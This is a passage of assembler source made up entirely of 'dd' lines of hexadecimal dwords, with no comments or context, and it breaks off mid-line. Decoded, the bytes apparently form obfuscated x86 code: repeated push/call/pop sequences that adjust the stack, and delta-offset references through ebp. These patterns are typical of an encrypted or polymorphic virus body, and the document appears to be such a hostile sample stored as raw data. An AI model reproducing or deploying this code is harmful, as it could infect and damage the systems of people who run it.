30F0C91Bh, 10E960h, 0CD640000h dd 660A08EDh, 70F80EB5h, 3F4D3947h, 8C666041h, 11E9D9h dd 0DEE40000h, 0A395E868h, 0C80006E8h, 67A03D31h, 803C007Ah dd 0BF0F04E1h, 618589F9h, 0A07FA14h, 15840FC9h, 0E9000001h dd 9, 84D9BE68h, 27E18E3Eh, 0E9858BDCh, 8B07FA0Fh, 0FA32C19Dh dd 0E1853307h, 6607FA15h, 10BC381h, 50DF8B90h, 0D59BB66h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 48896B86h, 2CB2621h, 0BD8B900Bh, 7FA0FD1h dd 9D29006Ah, 7FA02E1h, 152C8268h, 8B52502Ch, 5A310FDFh dd 24348158h, 2C0A2F7Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0B9C35141h, 0BF66F51Ch, 9ABB5836h, 0FF1D5286h dd 0FA1CE995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 6800F77h, 8B000000h, 0FA0A719Dh dd 96858907h, 6A07FDEBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0A62DC351h, 0FCC9CF3Dh dd 37AB0DDCh, 6E8h, 9BE1BA00h, 0F69F911h, 68Bh, 0C19D8B00h dd 5B07FA24h, 217E9h, 0DA8B6600h, 0EB8E858Bh, 6A07FDh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0BECEBDC3h, 5C09E9E7h, 891990DEh, 0FA15B18Dh, 1800C707h dd 0F9000000h, 0EB92B58Bh, 0B70F07FDh, 659589DFh, 8B07FA31h dd 0FA0D5185h, 6A068907h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 48F0C350h, 160AC4Eh dd 0FA29158Dh, 0BD8B6107h, 7FA08D1h, 0FE9858Bh, 0CE907FAh dd 22000000h, 911F71C2h, 3A705567h, 8939F28Ch, 0E8BF0446h dd 962A38D2h, 30BF6650h, 8B669696h, 7D9D8BDEh, 0FF07FA27h dd 0FDEB8EB5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0B100E5F6h, 0DAE44856h dd 9D33F94Ah, 7FA3189h, 4E8h, 1F03FF00h, 13E800h, 0A9E70000h dd 572C3A90h, 3CC39D0Fh, 2C298AC4h, 5E46696Ch, 36BF6684h dd 0E8505F62h, 12h, 0C764F59Ch, 701A386Bh, 6FC8BE49h, 0A011B041h dd 12E8A1EBh, 74000000h, 547E02C4h, 371B55C8h, 0C470DC0h dd 8BC87A5Fh, 10E837h, 39440000h, 6D9AC61Ch, 0E04732Eh dd 0E799BA59h, 5B5F251Ah, 24448B5Bh, 8B30B704h, 3850F00h dd 66000000h, 4489F88Bh, 5F520424h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 34AE87C0h dd 9D8B85B4h, 7FA2B79h, 0EB96858Dh, 6A07FDh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 849AF7C3h dd 0BC8188C1h, 5276A44Dh, 23F5BD8Bh, 905B07FAh, 9097B350h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DC35747h dd 0CA58D89h, 858907FAh, 7FA2389h, 1CE995FFh, 6A07FAh dd 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 51CE46C3h, 8166515Fh, 5B1F41E7h, 52006A61h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 704FECA0h dd 0C724EA54h, 0FA2BD985h, 307h, 0BD83F900h, 7FDEB96h dd 4D840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0B7E9C352h, 4B271FFh dd 3C56CD6Fh, 3EE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 1E4BE969h, 8E93BD98h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h dd 38Ch, 0FFB70F00h, 66D9D8Bh, 0BE907FAh, 74000000h, 3D422C97h dd 2A5613F3h, 0BD839D28h, 7FA2BD9h, 0A4850F03h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 88B9C355h, 46BB64E9h, 0EB96BD83h, 0F0007FDh dd 47684h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 2EF6FD4Ah, 820FAC86h, 6, 26659D8Bh dd 0BD0307FAh, 7FA0FC5h, 1F619D8Bh, 0B5FF07FAh, 7FDEB96h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0B1C35646h dd 8218529h, 95FF07FAh, 7FA2745h, 0B44CBB66h, 0EB8AB58Bh dd 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 1979E0C3h, 106C7EAh, 6A000100h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 63D5C357h, 76FF8613h, 14E97EEAh, 0DA000000h, 8C6B9B33h dd 0BDDB25CDh, 0EE46F9E4h, 0A25EBC9Ch, 96BB5662h, 61F08B60h dd 0F88B6650h, 96B5FF96h, 6A07FDEBh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BA9DC357h dd 0E8FD9CE5h, 0F5E0AD0h, 0C81h, 68C0F00h, 9000000h, 0FA0F6195h dd 0E18D8907h, 0FF07FA10h, 0FA18E195h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 469EF312h, 118E0FF5h, 0E8000000h, 5, 1028E7C7h, 31B58930h dd 5F07FA28h, 12E8h, 0ADCB7700h, 0D37DB32Eh, 4332AC66h dd 0CD26CBBAh, 5BA3F827h, 0EB8AB58Bh, 6A07FDh, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 2C83F4C3h, 0EB81666Eh, 858B770Ah, 7FA1C7Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7BC35646h, 0C95CA2C8h dd 0E96906B3h, 7, 5FEAB1ECh, 0FD88C08h, 8689FBBFh, 0C4h dd 5E27E381h, 8BF92BDBh, 0FA1CD995h, 65BD3107h, 8307FA1Ch dd 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0F2C3BC3h, 688h, 81858900h, 8B07FA08h, 0FA23059Dh dd 20508907h, 0FEF7858Dh, 5E807FDh, 6C000000h, 0AF1EB8FDh dd 8C18589h, 895B07FAh, 0B886h, 68F0F00h, 9000000h, 0FA1DF9B5h dd 6A006A07h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 653CC356h, 6694657Dh, 0A544CB81h dd 1C29B589h, 0B5FF07FAh, 7FDEB96h, 2FA9BD8Bh, 95FF07FAh dd 7FA1C95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 3FC35545h, 0E3230C8Bh, 576EE177h, 9D8BF8D1h, 7FA2059h dd 3CB8166h, 0BE99675h, 60000000h, 0D6403CDFh, 2F53D318h dd 0F50FD8Dh, 1386h, 8E800h, 6EFC0000h, 0BE7F5584h, 89BB48A6h dd 5B17F3C5h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 81623B7Fh, 462DCEE3h, 96B5FF71h dd 6A07FDEBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 9E03C357h, 0E9A20F56h, 0B509193Eh dd 7FA1CA5h, 1D9595FFh, 8D0F07FAh, 6, 68DBD0Bh, 0BD8307FAh dd 7FA0131h, 20840F00h, 0E9000000h, 7, 317A2EA2h, 5013495Fh dd 48F0Fh, 0BF660000h, 34890E2Ah, 59958924h, 0FF07FA2Ch dd 0FDEB96B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8B28D55Ch, 0FA215DBDh dd 0B595FF07h, 6607FA1Ch, 0B5FFDE8Bh, 7FDEB96h, 21AD95FFh dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0D5D162C3h, 0FB1CBCBh, 21BD83D7h, 207FA22h dd 7D840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0B6035DC3h, 4179F87Dh, 9E89Ah, 78CB0000h dd 0E5628B55h, 0E85AC534h, 6, 3634406Ah, 81667919h, 5BA1A3F7h dd 0F1BD235Fh, 8B07FA00h, 0FA161585h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 90A885B5h, 0BEF85C63h, 0C67069h, 85B52900h, 0C707FA01h dd 0FA16DD85h, 7, 35BD8B00h, 0E907FA14h, 0FFFFF2CEh, 5E951h dd 6E490000h, 5B56BE2Fh, 0AE8C18Bh, 0AA000000h, 57E9ED14h dd 95BD5222h, 619D0326h, 5B07FA06h, 199858Dh, 6A07FAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 20F6D7C3h, 896B2314h, 0FA2109BDh, 0D88B5007h, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 7958C357h, 0C2698E1h, 0FA4C1BECh, 21A98501h dd 6A07FAh, 5800Fh, 62BB0000h, 6A64F34Eh, 0B99D8B00h, 8D07FA18h dd 0FEB5E285h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 6DE5AB9h, 0F6045AEh, 9D03FFBFh dd 7FA2A75h, 5C08361h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 73C35545h, 8EC9E158h, 0BD8B40FAh, 7FA1575h dd 90F88B66h, 7581BF66h, 0BE850h, 0D7D70000h, 94416B5Eh dd 1ABC78ACh, 3810FECh, 66000000h, 905BDF8Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 37C35646h, 0E28CCAE8h dd 89D94EDFh, 0FA259985h, 6AFC07h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 8DC35343h, 0FDD8B6A4h, 383EA6CCh dd 0EE9006Ah, 0E0000000h, 0F3E7F8ABh, 0AED9F8DDh, 0BD9F56h dd 0E995FF19h, 0F907FA2Bh, 0D7118D8Dh, 8B6607FDh, 6AD1FFD9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 4B59C350h, 33EDBD83h, 0F0107FAh, 7A85h, 0CE900h dd 6600000h, 7BC9B448h, 5C3058ECh, 0DA8BCB37h, 8B66026Ah dd 0D98B50FBh, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 5423C357h, 30C4325Fh dd 11E815A8h, 0E000000h, 594A5561h, 0AFFAB7FEh, 84685A7Bh dd 0F21B4A1Fh, 0AE8h, 23D5F900h, 491A83FAh, 0F450480h dd 82h, 0F55B5B00h, 1C9595FFh, 0EEBB07FAh dd 0E939E4AEh, 0E6Bh, 0E8h, 0ED815D00h, 7FEB5ECh, 5DCC381h dd 6A14F8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0BB3F27C3h, 0B959858Dh, 6A07FDh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 2C6C41C3h, 91CA5741h, 80F98B64h, 8B66B5DBh, 8A0F90FAh dd 2, 665041B7h, 902BC1BFh, 64DBCB80h, 35FFh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8964F8C3h, 25h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 91DAF572h, 104985FFh dd 6A07FAh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0C654BCC3h, 0EFE14682h, 2D3DBD8Bh, 0FF6A07FAh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0CC35646h dd 7453DB4h, 9CF8166h, 0FE8B66C4h, 0D31B5FFh, 6A07FAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 709E15C3h, 896288Dh, 9D8BFF0Dh, 7FA1671h, 29999D89h dd 95FF07FAh, 7FA2875h, 0F7E9h, 71958900h, 0B007FA2Dh dd 0C1F78100h, 0E654BAFDh, 0DA8B6670h, 0BD8B71E4h, 7FA2BEDh dd 830F613Ch, 0D4h, 253D9D0Bh, 0F38107FAh, 1E294E31h, 29C8B60Fh dd 0FA0FF1BDh, 0A59D8907h, 0BA07FA15h, 6, 0C18BFB8Bh, 8E9h dd 91D74000h, 0A3C1C1EFh, 4E8C174h, 81E2F766h, 794CB4D3h dd 66C82B16h, 3AF2C781h, 0F380D18Bh, 6E9A1h, 95890000h dd 7FA183Dh, 0E9D858Bh, 9D2307FAh, 7FA0E09h, 8A07C083h dd 0C083FDh, 3165BD8Bh, 0D03B07FAh, 23830Fh, 0DE90000h dd 0CC000000h, 3594B863h, 14428D92h, 0E4ED9185h, 47E9h dd 68E0F00h, 29000000h, 0FA291D9Dh, 0C58D8B07h, 0F07FA0Ch dd 685h, 61B58900h, 8307FA22h, 840F01E1h, 20h, 0CC5A583h dd 50FE07FAh, 898D01h, 895B07FAh, 0FA0E9D95h, 0F18D8907h dd 0E907FA30h, 0 dd 38EDB58Dh, 6A07FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0EE9174C3h, 45236EF5h, 0E95BD8Bh dd 6A07FAh, 17CD8529h, 0B52907FAh, 7FA247Dh, 101995FFh dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 8AB97BC3h, 2591BD8Bh, 4DB907FAh, 6A000008h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0B7CEC350h, 9B7A34Ah, 0F9A06C2h, 482h, 61606000h dd 0FCE18361h, 6F38166h, 6AFCCEh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0B8C7EBC3h, 0E8F5C5E8h dd 0Ah, 0B6FC9B06h, 3D0352C0h, 880FB14Ah, 6, 24B19D8Bh dd 0B85B07FAh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C8C35747h dd 0E8F0Fh, 8B600000h, 0FA187DB5h, 0D1B58907h, 6107FA25h dd 8589D22Bh, 7FA2A0Dh, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0A98D31F5h, 0D07FA06h, 88h, 0F952F781h, 958B28B8h, 7FA1CD9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AFC35646h dd 8B22A6C8h, 49DB8141h, 8B5B6D0Dh, 0FA31AD8Dh, 50BFB707h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 46113E31h, 6A0CEBFh, 7EBF6608h, 29BD835Ch, 7FA2Ah, 94840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 16EC3C3h, 11BD8B18h, 0F07FA25h, 789h, 1870F00h dd 0F9000000h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 4FCF938Ch, 8DFCB21Dh dd 0FA4F668Dh, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0DEF25B83h, 890F0DAEh dd 6, 27819D8Bh, 0E1FF07FAh, 1C259589h, 0BD8307FAh, 7FA2BD9h dd 5B840F00h, 66000004h, 0BD83D98Bh, 7FA2BD9h, 66840F01h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 4D6FC355h, 890F6025h, 2, 810F6160h dd 4, 0CB1B966h, 0D9BD8361h, 307FA2Bh, 3F1860Fh, 0BF660000h dd 85895DEFh, 7FA02CDh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0BD8B72B9h, 7FA23FDh dd 0C859D89h, 8C6607FAh, 5E9D9h, 38D60000h, 80E2365Fh dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 22C6F4C3h, 0EB0BDBEBh, 0C90A1E22h, 13A840Fh dd 0FAB70000h, 0FE9858Bh, 8E907FAh, 86000000h, 0E91E6A4Fh dd 33E333A2h, 0FA15E185h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 8D8F30A1h dd 810C515Dh, 0B609F6D3h, 4FEF816Eh, 9006CEF9h, 0FE9h dd 620DBD00h, 83A65B47h, 0F65802E6h, 0D4284B13h, 9E950h dd 64640000h, 1002EE54h, 901BC8EAh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 58C35646h, 16DA5EDh, 0FA146995h dd 0E8006A07h, 5, 0AC1AFCDFh, 6890F06h, 31000000h, 0FA0E15B5h dd 9D8B5B07h, 7FA2761h, 4E8h, 1F03FF00h, 0D98B5000h, 424448Bh dd 0BF66008Bh, 4489E783h, 0BF660424h, 6A58BC12h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0B43C352h, 0E3800E13h, 0E995FF03h, 6A07FA1Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0B034C350h, 8589F8EAh, 7FDEB96h, 9E9h, 4F68CB00h, 0B9A04F9Ch dd 0C1E92471h, 66000001h, 0BD0BFB8Bh, 7FA2C25h, 0EB8E858Bh dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 2F74AEC3h, 23E97164h, 66B5892Eh, 547CEF81h dd 1800C7h, 8D0F0000h, 6, 261D9D8Bh, 0B58B07FAh, 7FDEB92h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0F0C35040h dd 39BD8BF2h, 8B07FA08h, 0FA0D5185h, 0CE807h, 96380000h dd 163B9318h, 0ACA4D37Bh, 5FF8E9E8h, 7D3DBF66h, 6A0689h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0BF0F28C3h, 0E9858BDBh, 6A07FA0Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B0DFC351h dd 0FC7236EFh, 0C19D8B3Fh, 8907FA21h, 6A0446h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 95337CC3h, 63D5B97Ch, 55858913h, 9607FA07h, 0FE8B6650h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 6BB8E070h, 2BD1C04Bh, 0BD8BB1B5h, 7FA22A1h dd 0EB8EB5FFh, 0EE807FDh, 4E000000h, 0CFF130E3h, 12217CDDh dd 5D4C5492h, 184EBBDAh, 685B6839h, 0B28A4120h, 81D88B66h dd 0C2DF2404h, 0BF664D94h, 858D6743h, 7FDEB96h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0F5C35040h, 2953FA9Ah dd 0FA16BD85h, 0E9505F07h, 11h, 5B49178Eh, 94063450h, 39D8320Bh dd 137A00C8h, 2404894Fh, 0FFB9C780h, 0FA1CE995h, 0D88B6607h dd 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0F092B60Eh, 5BEFC63h, 85C70232h, 7FA2BD9h dd 3, 0E7D9589h, 0BD8307FAh, 7FDEB96h, 4C840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 2631C353h, 0F9E9775Bh, 69C902D1h, 3DE9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0F1858905h, 5007FA28h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 599F12C3h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0AAC35747h dd 0D9BD8334h, 307FA2Bh, 4B8850Fh, 0D0B30000h, 0EB96BD83h dd 0F0007FDh, 4A984h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0ECB22988h, 92221741h dd 8B667984h, 96B5FFDFh, 6A07FDEBh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7488C353h dd 4595FF91h, 0F07FA27h, 81h, 0C7C78100h, 8B3FA126h, 0FDEB8AB5h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 47E333A2h, 44395C32h, 0FE8h, 0F2EF6C00h dd 5B7A780Ah, 1B67A72Bh, 0ABBF3939h, 5FFFB70Fh, 106C7h dd 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 505089C3h, 28A0F52h, 53000000h, 60310F5Fh dd 932CB6BBh, 0CE871h, 0BBE30000h, 12FB4977h, 7C46A794h dd 615E1640h, 3489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0B6282D7Fh, 0F51B2304h dd 0FD9D8B09h, 0FF07FA21h, 0FDEB96B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 202C3D05h, 14E8h, 0F6CFC400h, 1B49D7C8h, 1A2861CBh dd 184E9C00h, 0D87E9E9Bh, 9D295F35h, 7FA001Dh, 18E195FFh dd 0EE907FAh, 87000000h, 497FD651h, 5B5DFFF3h, 51A93604h dd 8AB58BA0h, 6A07FDEBh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 11AEC357h, 99028116h dd 3FA091Fh, 0FA20559Dh dd 7D858B07h, 6A07FA1Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0F429C351h, 92BF6613h dd 0C486894Ah, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 92E1C355h, 25326681h dd 1EE1C7CAh, 0F258589h, 0BD2B07FAh, 7FA0305h, 1CD9958Bh dd 0E38107FAh, 3850A251h, 195DE781h, 0C28371F2h, 89FE8B04h dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0A71A99C3h, 0DF9A483Ch, 8D0CB1B6h, 0FDFEF785h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 9D8B548Bh, 7FA0139h, 0B88689h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0AE9575C3h, 4D20C59Ah, 17959501h, 6A07FAh, 29119529h dd 0B5FF07FAh, 7FDEB96h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 50C35242h, 81668319h, 0FF4A83F7h, 0FA1C9595h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 95899A6Ah, 7FA18FDh, 52506096h, 7DB9E9BAh dd 0F310F3Bh, 8Ch, 8A585A00h, 665061D7h, 6A96D88Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 64B3C350h, 9D8BB4B5h, 7FA14B1h, 0EB96B5FFh, 6A07FDh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 89EE7DC3h, 26395E75h, 4A54E381h, 0C5B77384h, 1D9595FFh dd 860F07FAh, 0 dd 131BD83h, 0F0007FAh, 4284h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 37FED928h dd 370DB02Dh, 0DE85072h, 0E000000h, 1B6EBD75h, 0EF368256h dd 0F0DEBC1Ch, 895BDF8Bh, 85BB2434h, 0FF430A7Dh, 0FDEB96B5h dd 0A820F07h, 60000000h, 1DAD8D8Bh, 616007FAh, 0B595FF61h dd 0F07FA1Ch, 82h, 85DF8100h, 0FF33CC08h, 0FDEB96B5h, 57C38107h dd 31476BF7h, 0FA18958Dh, 0AD95FF07h, 6A07FA21h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 5D7FC353h, 21BD83DBh, 207FA22h, 48840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0FDC41C3h, 68Fh, 0FD9D0300h, 8B07FA2Eh, 0FA161585h dd 5E807h, 0D8EA0000h, 8B6C6C81h, 0FA08859Dh, 0C65B07h dd 0DAD0BB00h, 85C721DEh, 7FA16DDh, 0 dd 12E8h, 324D2A00h, 5A95195Ah, 34D64402h, 0D36C2E7Ch dd 0FE22247h, 108Fh, 0BE900h, 0BDC70000h, 64C65EB8h, 0EA03719Eh dd 0AFE95BD9h, 6AFFFFF2h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 4DCBC357h, 203DB149h dd 81660355h, 8BB5B6F3h, 2DBD8BC1h, 8D07FA16h, 0FA019985h dd 0B9BD0307h, 5007FA0Dh, 0C860Fh, 52500000h, 595BF66h dd 6160310Fh, 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0BD8BCF9Bh, 7FA1EA5h dd 6AFB8Bh, 8BDE8B60h, 0FA0AE9BDh, 6A6107h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F0C35343h, 88858DE8h dd 6A07FEC6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 3642C355h, 3B6787AFh, 9D8B1DCAh dd 7FA1001h, 6A05C083h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 50A0C355h, 11E9h, 0EB792200h dd 0E96E9B88h, 0B860D992h, 77D699EBh, 4896FFAh, 0F8B70F24h dd 9D89006Ah, 7FA0091h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 2D5FEC3h, 55478CA5h dd 0FF2FAE50h, 0FA2BE995h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0A5B589FCh dd 8D07FA34h, 0FDD7118Dh, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 25DC147Bh dd 0AF18534h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0FF04C2C3h, 6860F64h, 89000000h dd 0FA00BD85h, 0EDBD8307h, 107FA33h, 9F850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 5D1912C3h, 13C51F05h, 26A9F00h, 0C0EF8166h, 840F9094h dd 0 dd 11E950h, 0CB0000h, 757DF527h, 0F925FBEAh, 8B7871A5h dd 904BC507h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 66C35646h, 256B92F3h, 0D7815FE9h, 66F0E997h, 1C9595FFh dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8BE851C3h, 0FA15B9BDh, 0BBB6607h, 0DCAE979h dd 0E80000h, 5D000000h, 0C692ED81h, 0FB8B07FEh, 6ADABF0Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0FD7AC351h, 40145F26h, 6659123Eh, 307CEB81h dd 0B959858Dh, 5E807FDh, 1E000000h, 3C270157h, 905BFA8Bh dd 50FB8B66h, 0F9083B3h, 687h, 499D8B00h, 6407FA11h, 35FFh dd 0BD890000h, 7FA32A5h, 258964h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0FF46C357h, 0FA104985h, 6AFF6A07h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 9CCDC350h dd 0A0394045h, 0C840Fh, 8A0F0000h, 6, 351D9589h, 0B5FF07FAh dd 7FA2515h, 0FFFE8B66h, 0FA287595h, 151E907h, 0BD8B0000h dd 7FA1789h, 0D78100B0h, 5F3941Ch, 0F9B370E6h, 816671E4h dd 3C10DFD7h, 30830F61h, 81000001h, 356102C3h, 0C8B60F06h dd 7E8h, 11533D00h, 5626B81h, 7E8h, 